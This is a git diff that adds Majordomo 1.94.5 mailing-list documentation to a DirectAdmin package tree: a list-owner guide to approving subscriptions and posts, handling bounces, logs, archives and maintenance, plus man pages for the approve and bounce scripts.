Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: postmaster@yummybake.com + From: Majordomo@bakers.org + Subject: Majordomo results + Reply-To: Majordomo@bakers.org + + -- + >>>> subscribe donut-makers donut-makers-dist@yummybake.com + Your request to Majordomo@bakers.org: + + subscribe donut-makers donut-makers-dist@yummybake.com + + has been forwarded to the owner of the "donut-makers" list for approval. + This could be for any of several reasons: + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + When the list owner approves your request, you will be notified. + + If you have any questions about the policy of the list owner, please + contact "sample-approval@bakers.org". Thanks! + + Majordomo@bakers.org + +As the message to the list owner explained, the owner can approve the +subscription by mailing an "approve" command to the majordomo server: + + From: owner-name@owner-address + To: Majordomo@bakers.org + + approve !BooM! subscribe donut-makers donut-makers-dist@yummybake.com + +(where "!BooM!" is the list password). + + +Moderating Lists without approve + +This section describes how to moderate messages manually if you can't +use "approve". It also shows the messages that get passed between the +list owner and Majordomo. + +Here's a message that the "donut-makers" list owner just received: + + Date: Sun, 5 Sep 93 22:17:34 PDT + To: Donut-makers-Owner@bakers.org + From: Donut-makers-Owner@bakers.org + Subject: BOUNCE Donut-makers@bakers.org: Approval required + + >From elliek@hearthbake.com Sun Sep 5 22:17:29 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + +If the owner doesn't want to approve the message, it's courteous to +mail a note to the original sender and explain why. (Maybe Ellie +should read the "donut-makers" "Frequently-Asked Questions" list.) + +There are a few ways to tell Majordomo (actually, the "resend" script) +to send an approved message. The easiest is the "approve" script. +Otherwise, the owner should send mail to the list address (in this +case, to Donut-makers@bakers.org). The owner adds a line like this to +the approved message header--or on the line before the approved +message: + + Approved: password + +There are two ways to do that: + +- On a mail system like MH that lets people modify the mail message + header, send the approved message to the list address as a new + message. Add the "Approved:" header at the top. (Delete headers + like "Date:"; leave "From:", "To:", and "Subject:".) For example: + + Approved: BigSecret + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + + When the "Approved:" header appears with the message headers, these + message headers will be used when the message is sent to the list. + Compare that to the second method below. + +- Majordomo 1.60 added a new way to approve messages that's handy for + owners who can't modify their mail headers. Send a new mail message + to the list address. Start the message body with the "Approved:" + line. Next, read in a copy of the approved message. Delete any + useless headers and send it. + + For example, in the Berkeley "mail" command: + + ... + N 17 Donut-makers-Owner Sun Sep 5 22:17 23/733 BOUNCE Donut-makers + ... + & mail donut-makers@bakers.com + Subject: + Approved: BigSecret + ~f 17 + Interpolating: 17 + (continue) + ~v ...editor starts... edit the headers... + (continue) + ~p ...shows message you've edited... + ------- + Message contains: + To: donut-makers@bakers.org + + Approved: BigSecret + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + (continue) + ^D ...sends message... + & + + In this second method, the message sent to the list will contain the + headers below the "Approved:" line. + Headers above the "Approved:" won't be used. + +Either way, Ellie's message will go to the list with no trace of the +password: + + From Donut-makers-Owner@bakers.org Sun Sep 5 23:40:22 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + Sender: Donut-makers-Owner@bakers.org + Precedence: bulk + + What's your favorite recipe for jelly donuts? Thanks. + + +Bounced Mail and the Bounces List + +List owners will get familiar with messages like these: + + Return-Path: + Date: Sun, 10 Oct 93 13:24:11 EDT + From: MAILER-DAEMON@mukluk.ice.ca (Mail Delivery Subsystem) + Subject: Returned mail: Cannot send message for 3 days + Message-Id: <9310101724.AA20948@mukluk.ice.ca> + To: listown@online.ora.com + + ----- Transcript of session follows ----- + 421 tuna.ice.ca: Host tuna.ice.ca is down + + ----- Unsent message follows ----- + Received: from online.ora.com by mukluk.ice.ca (4.1/4.7) + id for shh@tuna.ice.ca; Thu, 7 Oct 93 13:05:22 EDT + Received: by online.ora.com (5.65c/Spike-2.1) + id AA13466; Thu, 7 Oct 1993 10:13:03 -0400 + Date: Thu, 7 Oct 1993 10:13:03 -0400 + ... + +If your lists will be busy, you'll probably want to set up a special +list named "bounces". It's a list for subscribers of other lists whose +mail starts bouncing. The address of the subscriber is removed from +the list they used to belong to and added to the "bounces" list. A +cron job runs the "bounce-remind" script every night to send mail to +all the people with bad addresses. The mail's "From:" address and +envelope sender are set to "nobody", a user on your system whose mail +goes to /dev/null. (The /dev/null file is actually a "black hole." +Text written there disappears; it's thrown away.) + +If the mail gets through to a subscriber, the subscriber will find out +what has happened and how to fix it. If the problem isn't fixed after +a while (usually, a month or so), the list owner can review the +"bounces" subscriber list and remove the hopeless cases. + +To set up the "bounces" list: + +1. Make sure that the "nobody" user exists on your system. There + should also be a mail alias for "nobody" pointing to /dev/null: + + nobody: /dev/null + + If your system doesn't have that user and can't create it, you can + get by. Make a mail alias that has an obvious name ("trashcan", + "dustbin", "nothing", etc.) pointing to /dev/null; use it in the + setup below. + +2. Follow the steps in the section "Creating a New List" to make the + "bounces" list. Here's the main entry for "resend": + + bounces: "|/usr/local/majordomo/bin/wrapper resend -p junk + -l Bounces -f nobody -h foo.com.au -s bounces-outgoing" + + The priority "junk" helps stop mail bounces. + +3. Check the "bounce-remind" script to be sure that the path to the + Perl interpreter on the first line is correct. Take a quick look + through the script. + +4. Make a crontab entry to run "bounce-remind" once a night. + +5. Help list owners set up their accounts with the "bounce" script. + Remember that the owners' ".majordomo" files need an entry for the + "bounces" list as well as the other lists. + +Bounced messages come in so many different formats that it's hard to +completely automate subscriptions to the "bounces" list. (In fact, in +some cases, the addressee of the bounced mail won't even be shown in +the message!) If the list owner's system can run a Perl script, the +"bounces" script makes the job easy. The script works differently than +"approve". The script doesn't read a message from a file or standard +input. Instead, it reads its command line arguments: + + % bounce listname user@xyz.com + +That command would unsubscribe the address user@xyz.com from the +"listname" list and add them to the "bounces" list. An owner who can't +run the "bounce" script can send mail to Majordomo with two commands +like these: + + approve passwdA unsubscribe listname user@xyz.com + approve passwdB subscribe bounces user@xyz.com (931005 listname) + +The first command unsubscribes the user from the current list. The +second one subscribes the user to the "bounces" list, with a comment +that shows the date and the name of the list they used to belong to. + + +The Majordomo Log File + +Majordomo keeps a log file. The file's pathname is set in the $log +variable in your majordomo.cf file. It's a good idea to read the file +every day or two. + +When Majordomo is busy (such as after you've added a new list), you may +want to run "tail -f" to watch messages as they're being added to the +log. Clean it out periodically. I've found it useful to keep +compressed copies of old log files for reference. + +The log file won't give you much help with security problems. (As +Brent has made clear, security wasn't one of Majordomo's main goals.) +Transactions are logged with the "Reply-to:" or "From:" address in the +mail message header. For example, you can send a message like this: + + Reply-to: John Doe + From: Your-real-name + To: majordomo@bakers.org + + passwd donut-makers oldpassword newpassword + +This is what will be logged (and it will be "FAILED" only if the old +password was incorrect): + + Sep 05 21:06:31 bakers majordomo[27604] {johndoe@nowhere.org} + FAILED passwd donut-makers OLD NEW + +There's no trace of the original sender or any way to see the "OLD" +password he tried. One way to track messages like these is by reading +your system MTA log file. Another is by making duplicates of all mail +sent to "majordomo". For instance, the following alias would send a +copy of all majordomo requests to "owner-majordomo": + + majordomo: owner-majordomo, "|/usr/local/majordomo/bin/wrapper majordomo" + +Of course, on a busy system, the person who is "owner-majordomo" +will get a lot of mail; a mail filter program like "procmail" can store +that mail and help to sort out the messages you might really want to +see. (You can get "procmail", by Stephen R. van den Berg, from many +anonymous FTP sites.) Instead of a mailbox address, you can also give +the absolute pathname of a log file. Note that, in many cases, the +file will need to be world-writable (mode 622 or 666). + + +Managing the Archives + +An archive is a file containing messages that previously appeared on +the mailing list. You can create an archive simply by putting an entry +in the system MTA alias file as described in the section "Creating a +New List". + +A list's archive will keep growing forever until you truncate or split +it. It's a good idea to split the file once in a while. Otherwise, +people who "get" it can receive a HUGE mail message. (Worse, some +mailer may truncate the file or refuse to send it.) + +Majordomo doesn't come with fancy archive management tools. The +Majordomo distribution comes with a Perl script named +"split_archive.pl"--it's in the "Tools" subdirectory. It splits an +archive file into separate files, one per message, named 0001, 0002, +and so on. + +You can also put any ASCII file in the archive, and set up a directory +hierarchy. But you need to do this by hand. For example, if you want +majordomo to mail files that contain non-text characters, you'll need +to pre-process the files with a utility like "uuencode" or "btoa". + +If your site has an anonymous FTP area, you can set Majordomo to store +your archives there. You can also configure the majordomo.cf file to +handle "get" commands by mailing requests to an ftpmail server. (See +the section "Installing Majordomo".) To do that, define the variables +$ftpmail_address (and, optionally $ftpmail_location--the default is the +local host) in the majordomo.cf file. The ftpmail setup assumes that +the FTP archive is structured the same way as your local archive +directory. It uses the pathname $filedir/listname$filedir_suffix for +the archive directory, then issues an FTP "get" command for the file +specified. + + +Disabling Majordomo Temporarily + +Once Majordomo is running on your system, how do you do maintenance? +It's always active because mail aliases will start the program +anytime. If you make a mistake in your maintenance, mail can start to +bounce. One way is to shut off your system's sendmail daemon, but that +affects all mail on your system. + +An easier way is to make a small "stub" shell script named +"majordomo.hold": + + #! /bin/sh + exit 75 + +Make that file executable with "chmod 755 majordomo.hold". Then +quickly (so there's less chance of causing incoming mail to bounce) +swap the "majordomo" Perl script and your "majordomo.hold" script: + + % mv majordomo majordomo.tmp && mv majordomo.hold majordomo + +(The shell's "&&" operator lets you type both command lines before +executing either of them. It does the second "mv" command only if the +first one succeeds.) When mail comes in, sendmail will run your little +script, which will return an exit status of 75. This special status +makes sendmail defer (queue) the incoming message and try to deliver it +to "majordomo:" again later. When you're done with your maintenance, +swap the script with the real "majordomo" script and mail will be +processed again. (Special exit statuses like 75 are listed in the file +/usr/include/sysexits.h.) + +The same thing works with "resend"; disabling it will disable all of +the lists. + +Note that your sendmail may convert pathnames of commands run by +deferred messages to all lower-case letters. This problem may only +bite you after you defer messages. For example, if your "resend" alias +starts like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + -A -a /usr/local/majordomo/Lists/Sample.passwd + +The "L" and "S" in that pathname may be changed to "l" and "s" when the +message is deferred. If they are, "resend" won't be able to find the +password file. The fix for this problem is to either change your +sendmail.cf file or make all your file and directory names with only +lower-case letters. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 new file mode 100644 index 0000000..48a4bd9 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 @@ -0,0 +1,137 @@ +'\" t +.TH APPROVE 1 +.SH NAME +approve \- approve a Majordomo request +.SH SYNOPSIS +.B approve [filename] +.SH "DESCRIPTION" +.B approve +automates the task of replying to an approval request from Majordomo. Input +is the e-mail message containing Majordomo's request, read from +.IR filename , +or read from standard input if no filename is specified. +.PP +.B approve +currently understands two types of requests; those requesting +subscription to a +.I closed +list, and those which bounced due to a lack of permission to post to a +moderated, or +.IR private , +mailing list. +.B approve +reads the body of the message from Majordomo to determine the appropriate +action. Assuming a message containing a subscription request like the +following: +.sp 1 +.RS 3 +From: Majordomo@This.COM +.sp 0 +To: this-list-approval@This.COM +.sp 1 +Joe User requests you approve the following: +.sp 1 +.RS 3 +subscribe this-list Joe User +.RE +.sp 1 +If you approve, send a line such as the following to Majordomo@This.COM: +.sp 1 +.RS 3 +approve PASSWD subscribe this-list Joe User +.RE +.RE +.sp 1 +then running +.B approve +on the message by saving it in a file, e.g., +.sp 1 +.RS 3 +approve /tmp/request +.RE +.sp 1 +or +.sp 1 +.RS 3 +approve < /tmp/request +.RE +.sp 1 +will result in the following reply to Majordomo: +.sp 1 +.RS 3 +To: Majordomo@This.COM +.sp 1 +approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +.sp 1 +.RE +If +.B approve +is on the user's path, then it's possible to execute it via a shell escape, +piping the current message to +.B approve +from a mail program, e.g., +.sp +.RS 3 +!approve +.RE +.sp +would +.I approve +the current message in /usr/ucb/Mail. +.PP +If, in the latter case, the "Subject:" line of the request from Majordomo is +"BOUNCE : ", the message is treated as a posting rejected by +.B resend +for some reason, and is reformatted with appropriate "Approved:" headers to +cause it to succeed, and then it is resubmitted to Majordomo for posting. +This provides an easy mechanism for the moderator of a mailing list to +approve postings to the list. +.SH CONFIGURATION +.B approve +assumes that the +.I approve +password for each list is the same as the +.I approval +password used by +.BR resend , +and that this password is stored +in a file called +.I .majordomo +in the user's home directory. The file has the following format: +.RS 5 +.TS +l l l . +.sp +this-list passwd1 Majordomo@This.COM +other-list passwd2 Majordomo@Other.GOV +.sp +.TE +.RE +The first column specifies the name of the mailing list, the second column +specifies the list-owner's password for the given list, and the third column +specifies the e-mail address of the associated Majordomo server. It is +assumed that the value in the third column is an Internet-style +"something@somewhere" address, and that postings for "List" should be sent +to "List@somewhere". Since this file +.B only +needs to be read by the user, it should be mode 600 to protect the +passwords. +.SH FILES +~/.majordomo +.sp 0 +/usr/local/lib/mail/majordomo/ +.SH SEE ALSO +majordomo(8),perl(1),resend(1). +.SH BUGS +There is no direct support for MH(1), so MH users will have to run +.B approve +directly on the message file in their inbox. +.sp +The +.I .majordomo +file requires an at-sign, "@", in the address of the Majordomo server, even +if it colocated on the same system as the list-owner. +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. +This man page was written by Jim Duncan, . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man new file mode 100644 index 0000000..afe2f97 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man @@ -0,0 +1,132 @@ + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + +NAME + approve - approve a Majordomo request + +SYNOPSIS + approve [filename] + +DESCRIPTION + approve automates the task of replying to an approval + request from Majordomo. Input is the e-mail message con- + taining Majordomo's request, read from _f_i_l_e_n_a_m_e, or read + from standard input if no filename is specified. + + approve currently understands two types of requests; those + requesting subscription to a _c_l_o_s_e_d list, and those which + bounced due to a lack of permission to post to a moderated, + or _p_r_i_v_a_t_e, mailing list. approve reads the body of the + message from Majordomo to determine the appropriate action. + Assuming a message containing a subscription request like + the following: + + From: Majordomo@This.COM + To: this-list-approval@This.COM + + Joe User requests you approve the fol- + lowing: + + subscribe this-list Joe User + + If you approve, send a line such as the following to + Majordomo@This.COM: + + approve PASSWD subscribe this-list Joe User + + + then running approve on the message by saving it in a file, + e.g., + + approve /tmp/request + + or + + approve < /tmp/request + + will result in the following reply to Majordomo: + + To: Majordomo@This.COM + + approve PASSWD subscribe this-list User@Fubar.COM (Joe + User) + + If approve is on the user's path, then it's possible to exe- + cute it via a shell escape, piping the current message to + + + +Sun Release 4.1 Last change: 1 + + + + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + + approve from a mail program, e.g., + + !approve + + would _a_p_p_r_o_v_e the current message in /usr/ucb/Mail. + + If, in the latter case, the "Subject:" line of the request + from Majordomo is "BOUNCE : ", the message is + treated as a posting rejected by resend for some reason, and + is reformatted with appropriate "Approved:" headers to cause + it to succeed, and then it is resubmitted to Majordomo for + posting. This provides an easy mechanism for the moderator + of a mailing list to approve postings to the list. + +CONFIGURATION + approve assumes that the _a_p_p_r_o_v_e password for each list is + the same as the _a_p_p_r_o_v_a_l password used by resend, and that + this password is stored in a file called ._m_a_j_o_r_d_o_m_o in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +FILES + ~/.majordomo + /usr/local/lib/mail/majordomo/ + +SEE ALSO + majordomo(8),perl(1),resend(1). + +BUGS + There is no direct support for MH(1), so MH users will have + to run approve directly on the message file in their inbox. + + The ._m_a_j_o_r_d_o_m_o file requires an at-sign, "@", in the address + of the Majordomo server, even if it colocated on the same + system as the list-owner. + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . This man page was + written by Jim Duncan, . + + + +Sun Release 4.1 Last change: 2 + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 new file mode 100644 index 0000000..b585ecd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 @@ -0,0 +1 @@ +.so man1/bounce.1 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 new file mode 100644 index 0000000..161d02f --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 @@ -0,0 +1,221 @@ +.TH bounce 1 +.SH NAME +bounce, bounce-remind \- handle majordomo list subscribers whose mail is undeliverable +.LP +.SH SYNOPSIS +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] [\-unsub] +.I majordomo-list user-address +.LP +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] \-expire [\-maxage +.I days +.B ] +.I bounce-address-file +.LP +.B bounce-remind +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B bounce +and +.B bounce-remind +are perl scripts which help list owners +handle subscribers whose mail is bouncing. Mail is "bounced" +in this context when it is undeliverable because hosts or +addresses are unreachable or because of other mail errors. +.LP +Mail is also "bounced" by the resend script for various administrative +reasons; these bounces are described in +.BR approve (1). +.LP +When a list owner observes that an email address consistently causes +mail errors, the owner may use +.B bounce +to remove the address from the list and place the address on a special +.BR bounces +mailing list. +.LP +.B bounce-remind, +which should be run nightly by +.BR cron (4M), +sends a message to each of the user addresses on the +.BR bounces +list, on the chance that the mail error has been corrected. +The message informs the addressee that their mail has been +undeliverable and that they have been removed from one or +more majordomo lists. It also instructs them how to unsubscribe +from the +.BR bounces +list and re-subscribe to the list of their choice. +.LP +.B bounce +can also be used to expire addresses off the +.BR bounces +list after a predetermined number of days. +.LP +If +.B bounce +is invoked under a name that contains ``unsub'' it will simply +unsubscribe the offending address from the majordomo list; it +will not place the address on the +.BR bounces +list. +.LP +.SH OPTIONS +These options relate to +.B bounce; bounce-remind +takes no arguments or options. +.LP +.TP 10 +.B \-d +Debug; print what would be done, but don't do it. +.TP +.B \-f config-file +Use the specified configuration file. The default is +.BR ~/.majordomo, +and the format for this file is described in the +.BR CONFIGURATION +section of the +.BR approve (1) +man page. This file provides the list-owner's password for +each list and the address of the corresponding Majordomo +server. +.TP +.B \-majordomo server-address +Use this +.IR server-address +for majordomo rather than the address from the configuration file. +.TP +.B \-unsub +Unsubscribes the offending address from the majordomo list, +without entering that address on the +.BR bounces +list. This is equivalent to invoking +.BR bounce +under a name containing ``unsub''. +.TP +.B \-expire +Expire entries from the specified +.BR bounces +list. +.TP +.B \-maxage days +Expire entries older than +.BI days. +The default is coded into the +.BR bounce +script as +.BI $default_maxage +days. It is set to 21 days in the majordomo distribution. +.LP +.SH OPERANDS +.TP 10 +.B majordomo-list +The list from which the offending user-address should be removed. +.TP +.B user-address +The address to which mail is currently undeliverable. +.TP +.B bounce-address-file +The name of the file that contains the +.BR bounces +list. +.LP +.SH CONFIGURATION +If +.B bounce +is going to be used only to unsubscribe users, a link can be +created whose name contains ``unsub'' so that users could be +unsubscribed simply by typing +.sp 1 +.RS 3 +unsub firewalls-digest fury@world.std.com +.RE +.sp 1 +for example. +.LP +In any case, a configuration file must exist and must contain +the names of the owner's lists, along with their respective +passwords and the email address of the associated Majordomo +server. The format of this file is given in the +.B CONFIGURATION +section of the +.BR approve (1) +man page. The default name for this file is +.BR ~/.majordomo, +and the same file can serve for both the +.B approve +and +.B bounce +scripts. +.LP +The +.B bounces +list, if it is used, must be created. It is like any other +Majordomo list excepting that the priority of this list +should be set to +.B junk +and its owner and sender should be +.B nobody. +Of course, the ``nobody'' mail alias must exist; it is should +be set to /dev/null. That is, +.sp 1 +.RS 3 +nobody: /dev/null +.RE +.sp 1 +This will spare the human list owner as well as the postmaster +from having to deal with mail bouncing from the +.B bounces +list. +.LP +A +.BR cron (1M) +job should be set up to run +.B bounce-remind +every night. +.B bounce-remind +must run on the same server as the +.B bounces +list; it mails a message to everyone on the list advising +them that they have been removed from one or more Majordomo +lists and instructs them how to get off the +.B bounces +list and back on the list of their choice. +.LP +.B bounce +can only expire addresses if it has a copy of the +.B bounces +subscriber file, so this can either be run on the server +occasionally by the Majordomo administrator or by a cron +job. It can also be run remotely with a copy of the +.B bounces +file retrived by the use of the ``who bounces'' command +to majordomo. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man new file mode 100644 index 0000000..5694ac3 --- 